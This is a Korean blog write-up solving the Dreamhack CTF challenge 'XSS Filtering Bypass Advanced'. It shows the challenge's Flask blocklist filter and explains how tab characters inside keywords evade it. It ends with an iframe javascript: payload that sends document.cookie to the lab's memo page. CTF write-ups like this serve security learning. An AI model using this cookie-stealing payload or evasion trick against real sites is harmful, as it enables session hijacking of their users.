본문 바로가기

웹해킹

드림핵 XSS Filtering Bypass Advanced 롸업

<문제>

Exercise: XSS Filtering Bypass의 패치된 문제입니다.

 

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

def xss_filter(text):
    _filter = ["script", "on", "javascript"]
    for f in _filter:
        if f in text.lower():
            return "filtered!!!"

    advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
    for f in advanced_filter:
        if f in text.lower():
            return "filtered!!!"

    return text
@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    param = xss_filter(param)
    return param


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

코드와 링크 구성은 거의 같아보인다.

 

앞의 문제와의 차이점은 xss_filter 함수밖에 없다.

replace방식의 필터링이 아니라 script, on, javascript가 존재하면 그냥 바로 return filtered!를 해버린다.

그리고 advanced filter로 window, self, this, document, location, (, ), &#까지 전부 다 막혀있다.

 

태그는 <iframe>태그를 이용하면 될거 같다.

javascript나 location 같이 필터링 되는 것을 우회하려고

javas%09cript 이런식으로 작성해서 공격 구문을 만들었지만 안됐다.

 

url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"

 check_xss 함수에서 param을 넘길 때 이미 인코딩을 해서 넘기기 때문에 인코딩되지 않은 값을 넣어야 한다.

 

<iframe src="javascri	pt:locatio	n.href='/memo?memo='%2bdocumen	t.cookie">

그냥 이렇게 tab을 이용해서 보내면 인코딩을 거치면서 바뀌고, 필터링에 걸리지 않게 된다.

 

'웹해킹' 카테고리의 다른 글

드림핵 CSP Bypass 롸업  (0) 2023.11.25
Content Security Policy & CSP Bypass  (0) 2023.11.24
드림핵 XSS Filtering Bypass 롸업  (0) 2023.11.21
XSS Filtering Bypass  (0) 2023.11.20
드림핵 blind-command 롸업  (0) 2023.11.05